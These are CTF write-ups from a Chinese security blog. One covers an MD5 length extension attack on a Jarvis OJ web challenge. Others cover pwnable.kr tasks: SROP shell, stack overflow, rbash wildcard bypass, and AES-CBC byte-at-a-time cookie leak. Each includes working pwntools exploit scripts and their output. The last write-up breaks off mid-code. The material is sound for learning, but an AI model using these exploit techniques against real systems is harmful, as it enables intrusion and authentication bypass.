Fork me on GitHub
R00tnb's Blog

吾将上下而求索


  • 首页

  • 关于

  • 标签

  • 分类

  • 归档

hash长度扩展攻击

发表于 2018-08-13 | 分类于 密码安全 | 评论数:

简介

hash长度扩展攻击主要指对类似MD5算法的hash算法攻击。当一个程序有类似if(input1 == md5(salt+input2)){}的逻辑并且能获得一次md5(salt+input2)的hash值的时候,那么这个程序就容易受到hash长度扩展攻击。

分析原理

这种针对哈希算法的攻击当然与算法有关。这里通过MD5算法来分析这种攻击方式。

MD5算法

MD5是一种消息摘要算法,它的计算过程不可逆。它主要通过以下步骤来计算最后的hash值:

  1. 填充。计算传入的消息文本text的长度(单位:bits),看它除以512的余数是否为448。等于则将填充前的长度(单位:bits)填充到消息文本的末端(占64bits)。否则,填充二进制1到消息文本末端,之后填充二进制0直到最后消息的长度除以512的余数为448,再将填充前的长度(单位:bits)填充到消息文本的末端(占64bits)。
  2. 分组。由于第一步的填充消息的长度必为512的整数倍,将填充完毕的消息按每组512bits分组。
  3. 分组计算。将A=0x67452301,B=0xefcdab89,C=0x98badcfe,D=0x10325476作为第一组的链变量,并且每一组进行64步轮换计算,每组计算完成后得到a,b,c,d四个32位的整数,将这四个整数分别加上该组的链变量作为下一组的链变量使用。当所有组计算完毕,得到最后的链变量。将链变量级联起来作为最后的结果。
    这些就是MD5算法的计算步骤,关于轮换计算的算法有点复杂就不写了,网上有。

攻击分析

分析MD5算法的第三步可以发现,每组消息的计算结果取决于该组的链变量和该组的消息内容,如果知道了最后一组的链变量和消息内容那么不需要知道前面几组到底是什么就可以计算出最后的消息摘要。这对于类似有if(input1 == md5(salt+input2)){}代码逻辑的程序来说是可能绕过盐值而达到判断成立的。因为,我们可以通过在原消息的基础上,扩展一个消息分组出来,然后利用最后一个扩展的消息分组的内容可控性,和原消息的hash值(这能计算出最后一个分组的链变量)来重演最后一个分组的计算过程,进而得到最后的hash值。

举个例子

下面举一个例子来说明hash长度扩展攻击的利用场景。
这是一道jarvis oj平台上的CTF题目flag在管理员手里,在web板块。
题目可以读取备份文件index.php~

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<!DOCTYPE html>
<html>
<head>
<title>Web 350</title>
<style type="text/css">
body {
background:gray;
text-align:center;
}
</style>
</head>

<body>
<?php
$auth = false;
$role = "guest";
$salt =
if (isset($_COOKIE["role"])) {
$role = unserialize($_COOKIE["role"]);
$hsh = $_COOKIE["hsh"];
if ($role==="admin" && $hsh === md5($salt.strrev($_COOKIE["role"]))) {
$auth = true;
} else {
$auth = false;
}
} else {
$s = serialize($role);
setcookie('role',$s);
$hsh = md5($salt.strrev($s));
setcookie('hsh',$hsh);
}
if ($auth) {
echo "<h3>Welcome Admin. Your flag is
} else {
echo "<h3>Only Admin can see the flag!!</h3>";
}
?>

</body>
</html>

读源码可以发现,只有当$_COOKIE["role"]的反序列化值为admin并且$hsh === md5($salt.strrev($_COOKIE["role"]))成立才能getflag。这和hash长度扩展攻击的利用场景一致,因为我们能够控制最后一个消息分组的内容,而且程序会在$_COOKIE["role"]未定义的时候把一段hash值返回给我们,这样我们能够通过该hash值反计算到最后一个分组的链变量,即最后一个消息分组的内容和链变量都知道了,那么即使不知道盐值也可计算最后的hash值。
需要注意的是,我们传入程序的是两个输入,一个作为消息主体传入另一个作为最后的hash值传入。虽然hash值能准确计算,但是消息主体却是不确定的,因为我们无法得知salt的长度,我们就无法计算前一个消息分组究竟要怎么填充,也就无法得到准确的消息主体了。所以这一题需要爆破salt的长度。下面是exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#coding=utf8
from myhash import *
import requests
import urllib

url = "http://web.jarvisoj.com:32778/"
tmp_hsh = "3a4727d57463f122833d9e732f94e4e0"
#爆破
for i in xrange(1,20):
p = 's:5:"admin";'[::-1]
poc = 's:5:"guest";'
poc = md5_fill('x'*i+poc[::-1]).lstrip('x'*i)+p
poc = poc[::-1]
poc = urllib.quote(poc)
tmp = hash_split(tmp_hsh)
m = MD5(p,*tmp)
s = m.md5(512+len(p)*8)
headers = {"Cookie":"role={};hsh={}".format(poc,s)}
r = requests.get(url,headers=headers)
if r.text.find("Only Admin") == -1:
print r.text
print i
break
else:
print 'No.'

结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
> python poc.py
No.
No.
No.
No.
No.
No.
No.
No.
No.
No.
No.
<!DOCTYPE html>
<html>
<head>
<title>Web 350</title>
<style type="text/css">
body {
background:gray;
text-align:center;
}
</style>
</head>

<body>
<h3>Welcome Admin. Your flag is PCTF{H45h_ext3ndeR_i5_easy_to_us3} </h3>
</body>
</html>

12

这里的myhash是我自己写的MD5算法,便于扩展攻击。可以在我的github上找到。

预防

使用md5(salt+hash(input))的方式来使消息主体不可控。

pwnable.kr-unexploitable

发表于 2018-08-06 | 分类于 CTF | 评论数:

前言

这是一道关于linux SROP的题目,通过系统sigrenturn调用来控制程序流程。

分析

这道题的逻辑很简单,贴出反编译代码

1
2
3
4
5
6
7
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [rsp+0h] [rbp-10h]

sleep(3u);
return read(0, &buf, 1295uLL);
}

观察main函数,发现它有栈溢出漏洞。首先想到的利用方法是通过栈溢出修改程序流程,然后使用可读取内存的函数来leak出system的地址。可是通过ida发现当前的got表中并没有可以读内存的函数。
焦虑了一会儿,后来上网一搜,发现还有linux SROP的利用方法(参考Linux SROP 原理与攻击)。只需通过linux的sigreturn系统调用,把栈上的数据依次pop到寄存器中即可完成利用。我这里,通过该调用直接执行了execve('/bin/sh')获得shell。下面是exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *

context(arch='amd64')
leave_addr = 0x400576
read_got = 0x601000
main_addr = 0x400544
frame_base = 0x601028
data_base = 0x601018
pop_rbp = 0x400540
gadget_1 = 0x4005e6 #mov rbx,[rsp+8h];mov rbp,[rsp+10h];mov r12,[rsp+18h];mov r13,[rsp+20h];\
#mov r14,[rsp+28h];mov r15,[rsp+30h];add rsp,38h;ret;......;ret
gadget_2 = 0x4005d0 #mov rdx,r15;mov rsi,r14;mov edi,r13d;call qword ptr [r12+rbx*8]
syscall_addr = 0x400560 #syscall
#r = process("./unexploitable")
#gdb.attach(r,"b * 0x400577")
#sleep(1)
s = ssh(host='pwnable.kr',user='unexploitable',password='guest',port=2222)
r = s.run('./unexploitable')

def read_poc(addr,maxlen):
tmp = p64(gadget_1)+p64(0)+p64(0)+p64(1)+p64(read_got)+p64(0)+p64(addr)+p64(maxlen)
tmp += p64(gadget_2)+'a'*0x38
return tmp

# write sigreturn frame
frame = SigreturnFrame(kernel='amd64')
frame.rdi = data_base # /bin/sh
frame.rsi = 0
frame.rdx = 0
frame.rax = 59
frame.rip = syscall_addr
poc = 'a'*24+read_poc(frame_base,0x500)+p64(main_addr)
r.send(poc.ljust(1295,'\x00'))
sleep(0.1)
poc = p64(0)+p64(syscall_addr)+str(frame)
r.send(poc.ljust(0x500,'\x00'))

poc = 'a'*24+read_poc(data_base,15) # rax = 15 && write "/bin/sh" to data_base
poc += p64(pop_rbp)+p64(frame_base)+p64(leave_addr) # rsp => bss_base
r.send(poc.ljust(1295,'\x00'))
sleep(0.1)
r.send("/bin/sh".ljust(15,'\x00'))
sleep(0.1)
r.interactive()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
root@kali:/mnt/hgfs/work/jarvisoj# cd ../pwn-1
root@kali:/mnt/hgfs/work/pwn-1# python unexploitable.py
[*] Checking for new versions of pwntools
To disable this functionality, set the contents of /root/.pwntools-cache/update to 'never'.
[*] You have the latest version of Pwntools (3.12.0)
[+] Connecting to pwnable.kr on port 2222: Done
[!] Couldn't check security settings on 'pwnable.kr'
[+] Opening new channel: './unexploitable': Done
[*] Switching to interactive mode
$ ls
$ flag unexploitable unexploitable.c
$ $ cat flag
sigreturn rop..? not a secret technique anymore!!
$ $

总结

恩,又学到了新的利用方法。

pwnable.kr-wtf

发表于 2018-07-16 | 更新于 2018-08-04 | 分类于 CTF | 评论数:

前言

一道代码很简单,但是却花了我好长时间的题目。挺有意思的,考察输入缓冲区的。

分析

还是先分析代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
#!/usr/bin/python2
import os, sys, time
import subprocess
from threading import Timer

TIME = 5

class MyTimer():
timer=None
def __init__(self):
self.timer = Timer(TIME, self.dispatch, args=[])
self.timer.start()
def dispatch(self):
print 'program is not responding... something must be wrong :('
os._exit(0)

def pwn( payload ):
p = subprocess.Popen('./wtf', stdin=subprocess.PIPE, stdout=subprocess.PIPE)
p.stdin.write( payload )
output = p.stdout.readline()
return output

if __name__ == '__main__':
print '''
---------------------------------------------------
- Shall we play a game? -
---------------------------------------------------

Hey~, I'm a newb in this pwn(?) thing...
I'm stuck with a very easy bof task called 'wtf'
I think this is quite easy task, however my
exploit payload is not working... I don't know why :(
I want you to help me out here.
please check out the binary and give me payload
let me try to pwn this with yours.

- Sincerely yours, newb
'''
sys.stdout.flush()
time.sleep(1)

try:
sys.stdout.write('payload please : ')
sys.stdout.flush()
payload = raw_input()
payload = payload.decode('hex')
except:
print 'please give your payload in hex encoded format..'
sys.stdout.flush()
os._exit(0)

print 'thanks! let me try if your payload works...'
sys.stdout.flush()

time.sleep(1)
MyTimer()
result = pwn( payload )
if len(result) == 0:
print 'your payload sucks! :('
print 'I thought you were expert... what a shame :P'
sys.stdout.flush()
os._exit(0)

print 'hey! your payload got me this : {0}\n'.format(result)
print 'I admit, you are indeed an expert :)'
sys.stdout.flush()


sys.stdout.flush()
os._exit(0)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [rsp+10h] [rbp-30h]
int v5; // [rsp+3Ch] [rbp-4h]

__isoc99_scanf("%d", &v5);
if ( v5 > 32 )
{
puts("preventing buffer overflow");
v5 = 32;
}
my_fgets((__int64)&v4, v5); // Stack Overflow
return 0;
}

__int64 __fastcall my_fgets(__int64 a1, int a2)
{
bool v2; // al
int v4; // [rsp+4h] [rbp-1Ch]
char buf; // [rsp+1Bh] [rbp-5h]
unsigned int i; // [rsp+1Ch] [rbp-4h]

v4 = a2;
for ( i = 0; ; ++i )
{
v2 = v4-- != 0;
if ( !v2 )
break;
read(0, &buf, 1uLL);
if ( buf == 10 )
break;
*(_BYTE *)(a1 + (signed int)i) = buf;
}
return i;
}

int win()
{
return system("/bin/cat flag");
}

贴了wtf.py代码和wtf的部分反编译代码。wtf.py代码的逻辑很简单,只要输入一段wtf的利用代码并能成功利用即可。分析可执行程序wtf发现有一处栈溢出和一处有符号整数比较漏洞,而且有一个win函数可直接读取flag,所以利用很简单。但是,当把利用代码一次性输入进程序时,程序一直卡住,而分开两次输入就没有问题(即先输入size,再输入poc)。当时想了半天终于想到会不会是程序的输入缓冲区设置了全缓冲模式(即缓冲区装满后才会读取),但是怎么也没找到代码。不过后来试了一下成功了,用4096个字符填满了输入缓冲区,下面是poc

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
import time

context(arch='amd64')
shell_addr = 0x4005f4
#r = process('python ./wtf.py',shell=True)
r = remote('pwnable.kr',9015)
r.recvuntil('payload please : ')
poc = '-1'+'\n'*4094+'a'*0x38+p64(shell_addr)+'\n'
r.sendline(poc.encode('hex'))
print r.recvall()

1
2
3
4
5
6
7
8
9
root@kali:/mnt/hgfs/work/pwn# python wtfpoc.py 
[+] Opening connection to pwnable.kr on port 9015: Done
[+] Receiving all data: Done (146B)
[*] Closed connection to pwnable.kr port 9015
thanks! let me try if your payload works...
hey! your payload got me this : I_H4T3_L1BC_BUFF3R1NG_5HIT_L0L


I admit, you are indeed an expert :)

从flag中也可看出确实考察的缓冲区

总结

题目代码简单,就是卡在了输入缓冲区上面,还是技术不到没能第一时间想到。

pwnable.kr-cmd3

发表于 2018-07-11 | 更新于 2018-08-04 | 分类于 CTF | 评论数:

前言

这是cmd2的升级版,题目做了很多限制,我也是花了好长时间才想出来。

分析

题目给出了cmd3.py的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#!/usr/bin/python
import base64, random, math
import os, sys, time, string
from threading import Timer

def rstring(N):
return ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(N))

password = rstring(32)
filename = rstring(32)

TIME = 60
class MyTimer():
global filename
timer=None
def __init__(self):
self.timer = Timer(TIME, self.dispatch, args=[])
self.timer.start()
def dispatch(self):
print 'time expired! bye!'
sys.stdout.flush()
os.system('rm flagbox/'+filename)
os._exit(0)

def filter(cmd):
blacklist = '` !&|"\'*'
for c in cmd:
if ord(c)>0x7f or ord(c)<0x20: return False
if c.isalnum(): return False
if c in blacklist: return False
return True

if __name__ == '__main__':
MyTimer()
print 'your password is in flagbox/{0}'.format(filename)
os.system("ls -al")
os.system("ls -al jail")
open('flagbox/'+filename, 'w').write(password)
try:
while True:
sys.stdout.write('cmd3$ ')
sys.stdout.flush()
cmd = raw_input()
if cmd==password:
os.system('./flagbox/print_flag')
raise 1
if filter(cmd) is False:
print 'caught by filter!'
sys.stdout.flush()
raise 1

os.system('echo "{0}" | base64 -d - | env -i PATH=jail /bin/rbash'.format(cmd.encode('base64')))
sys.stdout.flush()
except:
os.system('rm flagbox/'+filename)
os._exit(0)

从源码中可以看出一下限制:

  • 程序使用了一个过滤函数filter。该函数不允许输入中带有0-9a-zA-Z和 !&|”\’*`的字符,并且输入必须在可打印字符的范围内。
  • 通过过滤函数的检查后,输入会被base64编码再传入os.system函数执行命令。所以这里也无法命令注入。
  • 程序使用env命令重写了PATH变量开启了新的命令执行环境,并且使用/bin/rbash(受限制shell)来执行输入的命令。
    题目需要绕过这些限制并读取到password然后提交即可getfalg。
    先执行一下程序(注意先阅读readme)
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    cmd3@ubuntu:~$ nc 0 9023
    total 5268
    drwxr-x--- 5 root cmd3_pwn 4096 Mar 15 2016 .
    drwxr-xr-x 87 root root 4096 Dec 27 2017 ..
    d--------- 2 root root 4096 Jan 22 2016 .bash_history
    -rwxr-x--- 1 root cmd3_pwn 1421 Mar 11 2016 cmd3.py
    drwx-wx--- 2 root cmd3_pwn 24576 Jul 10 20:07 flagbox
    drwxr-x--- 2 root cmd3_pwn 4096 Jan 22 2016 jail
    -rw-r--r-- 1 root root 5345137 Jul 10 20:09 log
    -rw-r----- 1 root root 764 Mar 10 2016 super.pl
    total 8
    drwxr-x--- 2 root cmd3_pwn 4096 Jan 22 2016 .
    drwxr-x--- 5 root cmd3_pwn 4096 Mar 15 2016 ..
    lrwxrwxrwx 1 root root 8 Jan 22 2016 cat -> /bin/cat
    lrwxrwxrwx 1 root root 11 Jan 22 2016 id -> /usr/bin/id
    lrwxrwxrwx 1 root root 7 Jan 22 2016 ls -> /bin/ls
    your password is in flagbox/KG3TSCVOPHSPINJD1N3MOD3T637CLX5L
    cmd3$

可以看到我们只能执行jail目录下的三个程序,其他程序由于需要跨目录执行,必须使用/符号,然而在/bin/rbash中是不允许命令中带有/符号的(关于受限制shell可以参考rbash - 一个受限的Bash Shell用实际示例说明)。对于该题目来说只需要执行cat flagbox/KG3TSCVOPHSPINJD1N3MOD3T637CLX5L获得password即可。但是要执行该命令需要考虑绕过空格和字母数字,因为这些字符无法通过filter函数。接下来只要绕过这些即可。

  1. 绕过空格。对于cat命令,可以使用<符号来代替空格。也可使用其他方法,参考linux下不用空格执行带参数的5种姿势。
  2. 绕过字符数字。要想绕过最常用最重要的字母数字,必须借用已经有的字母数字。在linux下有很多通配符可以用来指代某些文件,*符号被过滤了可以使用?(表示该位置必有一个字符)来指代。例如,要指代jail/cat可以输入????/???即可。当然,如果出现了指代多个文件或目录的情况它一般指代ls命令排序后的第一个。但是,对于受限制shell来说使用上面指代的话还是会出现/符号导致无法执行,我们必须执行cat而不是用路径指代它。这时,需要了解$_变量,该变量在shell中指代上次执行的命令,这样我们可以先使用上面的方式执行一遍,然后操作$_变量获取它的子串cat即可。可以输入????/???;${__=${_#?????}};来将cat保存在$___变量中。对于linux下的环境变量的操作可以参考https://blog.csdn.net/number_0_0/article/details/73291182。要解决flagbox/KG3TSCVOPHSPINJD1N3MOD3T637CLX5L这样的长字符串,可以利用cat命令来从/tmp/(任何用户可读写)目录下的文件读取。例如,将长字符串写入/tmp/__/1中,然后执行$(cat</???/__/?)这样$_变量就存有长字符串了。
    下面是exp
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    from pwn import *

    s = ssh(port=2222,user="cmd3",host="pwnable.kr",password="FuN_w1th_5h3ll_v4riabl3s_haha")
    poc = "????/???;${__=${_#?????}};$($__</???/__/?);${___=$_};$__<$___"

    r = s.run("nc 0 9023")
    r.recvuntil("your password is in ")
    data = r.recvline().rstrip() #get flagbox/......
    s.run("mkdir /tmp/__")
    s.run('echo "{0}" >/tmp/__/1'.format(data))
    r.recvuntil("cmd3$ ")
    r.sendline(poc)
    tmp = r.recvuntil("cmd3$ ")
    pwd = tmp[-38:-6]
    print 'Get pwd: {0}'.format(pwd)
    r.sendline(pwd)
    print r.recvall()
1
2
3
4
5
6
7
8
9
10
11
12
13
root@kali:~/Desktop# python poc.py
[+] Connecting to pwnable.kr on port 2222: Done
[!] Couldn't check security settings on 'pwnable.kr'
[+] Opening new channel: 'nc 0 9023': Done
[+] Opening new channel: 'mkdir /tmp/__': Done
[+] Opening new channel: 'echo "flagbox/9E36W2ZIM8Y0I4GWLPMKPE1GAQPGCMFO" >/tmp/__/1': Done
Get pwd: 5AE535O9P84VCXKWS1PYYRRT8JLD3JQN
[+] Receiving all data: Done (54B)
[*] Closed SSH channel with pwnable.kr
Congratz! here is flag : D4ddy_c4n_n3v3r_St0p_m3_haha

[*] Closed SSH channel with pwnable.kr
[*] Closed SSH channel with pwnable.kr

总结

这道题目很有意思,主要使用linux下shell的知识,又学到了不少。

pwnable.kr-crypto1

发表于 2018-04-24 | 更新于 2018-08-04 | 分类于 CTF | 评论数:

前言

这虽然不是一道二进制的题目,但是也有足够的pwn味道。

分析

题目是用了python写的b/s结构,代码逻辑简单。
client.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#!/usr/bin/python
from Crypto.Cipher import AES
import base64
import os, sys
import xmlrpclib
rpc = xmlrpclib.ServerProxy("http://localhost:9100/")

BLOCK_SIZE = 16
PADDING = '\x00'
pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * PADDING
EncodeAES = lambda c, s: c.encrypt(pad(s)).encode('hex')
DecodeAES = lambda c, e: c.decrypt(e.decode('hex'))

# server's secrets
key = 'erased. but there is something on the real source code'
iv = 'erased. but there is something on the real source code'
cookie = 'erased. but there is something on the real source code'

# guest / 8b465d23cb778d3636bf6c4c5e30d031675fd95cec7afea497d36146783fd3a1
def sanitize(arg):
for c in arg:
if c not in '1234567890abcdefghijklmnopqrstuvwxyz-_':
return False
return True

def AES128_CBC(msg):
cipher = AES.new(key, AES.MODE_CBC, iv)
return EncodeAES(cipher, msg)

def request_auth(id, pw):
packet = '{0}-{1}-{2}'.format(id, pw, cookie)
e_packet = AES128_CBC(packet)
print 'sending encrypted data ({0})'.format(e_packet)
sys.stdout.flush()
return rpc.authenticate(e_packet)

if __name__ == '__main__':
print '---------------------------------------------------'
print '- PWNABLE.KR secure RPC login system -'
print '---------------------------------------------------'
print ''
print 'Input your ID'
sys.stdout.flush()
id = raw_input()
print 'Input your PW'
sys.stdout.flush()
pw = raw_input()

if sanitize(id) == False or sanitize(pw) == False:
print 'format error'
sys.stdout.flush()
os._exit(0)

cred = request_auth(id, pw)

if cred==0 :
print 'you are not authenticated user'
sys.stdout.flush()
os._exit(0)
if cred==1 :
print 'hi guest, login as admin'
sys.stdout.flush()
os._exit(0)

print 'hi admin, here is your flag'
print open('flag').read()
sys.stdout.flush()

server.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#!/usr/bin/python
import xmlrpclib, hashlib
from SimpleXMLRPCServer import SimpleXMLRPCServer
from Crypto.Cipher import AES
import os, sys

BLOCK_SIZE = 16
PADDING = '\x00'
pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * PADDING
EncodeAES = lambda c, s: c.encrypt(pad(s)).encode('hex')
DecodeAES = lambda c, e: c.decrypt(e.decode('hex'))

# server's secrets
key = 'erased. but there is something on the real source code'
iv = 'erased. but there is something on the real source code'
cookie = 'erased. but there is something on the real source code'

def AES128_CBC(msg):
cipher = AES.new(key, AES.MODE_CBC, iv)
return DecodeAES(cipher, msg).rstrip(PADDING)

def authenticate(e_packet):
packet = AES128_CBC(e_packet)

id = packet.split('-')[0]
pw = packet.split('-')[1]

if packet.split('-')[2] != cookie:
return 0 # request is not originated from expected server

if hashlib.sha256(id+cookie).hexdigest() == pw and id == 'guest':
return 1
if hashlib.sha256(id+cookie).hexdigest() == pw and id == 'admin':
return 2
return 0

server = SimpleXMLRPCServer(("localhost", 9100))
print "Listening on port 9100..."
server.register_function(authenticate, "authenticate")
server.serve_forever()

分析代码可以知道,只有当id=admin,pw=sha256(id+cookie)时才能获得flag。然而我们不知道cookie的值,所以就无法计算出正确的pw。
从代码中可以看到,程序使用aes128_cbc的加密模式。做web的都知道,这种加密方式容易受到字节反转攻击,但是这里却无法使用,因为字节反转攻击需要响应中有解密出来的明文。但是这里,由于这种加密模式明文和密文的字节是一一对应的,并且在这道题目中cookie前面的字符数量可控制,所以可以找到一种方法来爆破出cookie的值。
具体方法是,控制要加密的明文中cookie前面的字符数量,使要爆破的字节刚好位于分组中的最后一组的最后一个字节。接下来爆破方法是,每次改变最后一个字节,并把客户端返回的对应分组的加密密文与没有改变时的加密密文对比,当相等时说明该字节就是对应的cookie字节。如此爆破下去直到找到完整的cookie。随后就计算正确的ID和PW即可。
下面是poc,但是要传到题目平台上去,不然会很慢。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/usr/bin/python
from pwn import *

context(log_level='error')
cookie = ''

def getRealEPack(ID,PW):
r = remote('127.0.0.1',9006)
r.recvuntil('ID\n')
r.sendline(ID)
r.recvuntil('PW\n')
r.sendline(PW)
s = r.recvline()
e_pack = s[s.find('(')+1:-2]
r.close()
return e_pack

#get cookie
for i in xrange(2,100):
pack = '-'*(15-i%16)+'--'+cookie
for j in '1234567890abcdefghijklmnopqrstuvwxyz-_!':
e_pack0 = getRealEPack(pack+j,'')
e_pack1 = getRealEPack('-'*(15-i%16),'')
if e_pack0[:len(pack+j)*2] == e_pack1[:len(pack+j)*2]:
cookie += j
print cookie
break
if j == '!':
ID = 'admin'
PW = hashlib.sha256(ID+cookie).hexdigest()
print 'ID: {}\nPW: {}'.format(ID,PW)
exit(0)

运行后

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
fix@ubuntu:/tmp$ python 1.py
y
yo
you
you_
you_w
you_wi
you_wil
you_will
you_will_
you_will_n
you_will_ne
you_will_nev
you_will_neve
you_will_never
you_will_never_
you_will_never_g
you_will_never_gu
you_will_never_gue
you_will_never_gues
you_will_never_guess
you_will_never_guess_
you_will_never_guess_t
you_will_never_guess_th
you_will_never_guess_thi
you_will_never_guess_this
you_will_never_guess_this_
you_will_never_guess_this_s
you_will_never_guess_this_su
you_will_never_guess_this_sug
you_will_never_guess_this_suga
you_will_never_guess_this_sugar
you_will_never_guess_this_sugar_
you_will_never_guess_this_sugar_h
you_will_never_guess_this_sugar_ho
you_will_never_guess_this_sugar_hon
you_will_never_guess_this_sugar_hone
you_will_never_guess_this_sugar_honey
you_will_never_guess_this_sugar_honey_
you_will_never_guess_this_sugar_honey_s
you_will_never_guess_this_sugar_honey_sa
you_will_never_guess_this_sugar_honey_sal
you_will_never_guess_this_sugar_honey_salt
you_will_never_guess_this_sugar_honey_salt_
you_will_never_guess_this_sugar_honey_salt_c
you_will_never_guess_this_sugar_honey_salt_co
you_will_never_guess_this_sugar_honey_salt_coo
you_will_never_guess_this_sugar_honey_salt_cook
you_will_never_guess_this_sugar_honey_salt_cooki
you_will_never_guess_this_sugar_honey_salt_cookie
ID: admin
PW: fcf00f6fc7f66ffcfec02eaf69d30398b773fa9b2bc398f960784d60048cc503
fix@ubuntu:/tmp$

1
2
3
4
5
6
7
8
9
10
11
12
13
14
root@kali:~/Desktop/test# nc pwnable.kr 9006
---------------------------------------------------
- PWNABLE.KR secure RPC login system -
---------------------------------------------------

Input your ID
admin
Input your PW
fcf00f6fc7f66ffcfec02eaf69d30398b773fa9b2bc398f960784d60048cc503
sending encrypted data (05c4ccfd4880c92339b995c7754ec2e6567f2ed91d955cb7144c1b6037855db1b3a8525e74d30fd4505bb38c975b86f23d0e5aa23eed44b9beaa7e2195da93ba53cb08758a261ada5612245f49d25b81aa5a297aa5d555886073b17e2ed719b3607da6fbfe40b260a45485910404d69c818a2faedac7bb3a727cfbb53eab8406)
hi admin, here is your flag
byte to byte leaking against block cipher plaintext is fun!!

root@kali:~/Desktop/test#

总结

很有意思的一次pwn。

pwnable.kr-rsa_calculator

发表于 2018-03-14 | 更新于 2018-08-04 | 分类于 CTF | 评论数:

前言

读代码题,虽然是逆向代码,哈哈。这道题得细心找,不能急,否则就得像我一样花了很长时间在printf的漏洞利用上了,悲催。

分析

分析反编译代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
signed __int64 set_key()
{
int v1; // [sp+18h] [bp-18h]@7
int v2; // [sp+1Ch] [bp-14h]@7
unsigned int i; // [sp+20h] [bp-10h]@1
int v4; // [sp+24h] [bp-Ch]@7
int v5; // [sp+28h] [bp-8h]@7
__int16 v6; // [sp+2Ch] [bp-4h]@1
__int16 v7; // [sp+2Eh] [bp-2h]@1

puts("-SET RSA KEY-");
printf("p : ");
__isoc99_scanf("%d", &v6);
printf("q : ", &v6);
__isoc99_scanf("%d", &v7);
printf("p, q, set to %d, %d\n", (unsigned int)v6, (unsigned int)v7);
puts("-current private key and public keys-");
printf("public key : ");
for ( i = 0; i <= 7; ++i )
printf("%02x ", pub[i]);
printf("\npublic key : ");
for ( i = 0; i <= 7; ++i )
printf("%02x ", pri[i]);
putchar(10);
v4 = v6 * v7;
v5 = (v6 - 1) * (v7 - 1);
printf("N set to %d, PHI set to %d\n", (unsigned int)v4, (unsigned int)v5);
printf("set public key exponent e : ");
__isoc99_scanf("%d", &v1);
printf("set private key exponent d : ", &v1);
__isoc99_scanf("%d", &v2);
if ( v1 < (unsigned int)v5 && v2 < (unsigned int)v5 && v2 * v1 % (unsigned int)v5 != 1 )
{
puts("wrong parameters for key generation");
exit(0);
}
if ( (unsigned int)v4 <= 0xFF )
{
puts("key length too short");
exit(0);
}
set_pub_key(v1, v4, (__int64)pub);
set_pri_key(v2, v4, (__int64)pri);
puts("key set ok");
printf("pubkey(e,n) : (%d(%08x), %d(%08x))\n", (unsigned int)v1, (unsigned int)v1, (unsigned int)v4, (unsigned int)v4);
printf("prikey(d,n) : (%d(%08x), %d(%08x))\n", (unsigned int)v2, (unsigned int)v2, (unsigned int)v4, (unsigned int)v4);
is_set = 1;
return 1LL;
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
__int64 RSA_decrypt()
{
__int64 result; // rax@2
bool v1; // dl@10
char *v2; // rdx@12
char *v3; // rsi@14
int v4; // eax@15
__int64 v5; // rdx@18
int v6; // [sp+Ch] [bp-634h]@3
int v7; // [sp+10h] [bp-630h]@5
int i; // [sp+14h] [bp-62Ch]@11
int v9; // [sp+18h] [bp-628h]@11
int v10; // [sp+1Ch] [bp-624h]@6
char v11; // [sp+20h] [bp-620h]@12
char v12; // [sp+21h] [bp-61Fh]@12
char v13; // [sp+22h] [bp-61Eh]@12
char ptr; // [sp+2Fh] [bp-611h]@6
char v15[1024]; // [sp+30h] [bp-610h]@9
char src[520]; // [sp+430h] [bp-210h]@11
__int64 v17; // [sp+638h] [bp-8h]@1

v17 = *MK_FP(__FS__, 40LL);
if ( is_set )
{
v6 = 0;
printf("how long is your data?(max=1024) : ");
__isoc99_scanf("%d", &v6);
if ( v6 <= 1024 )
{
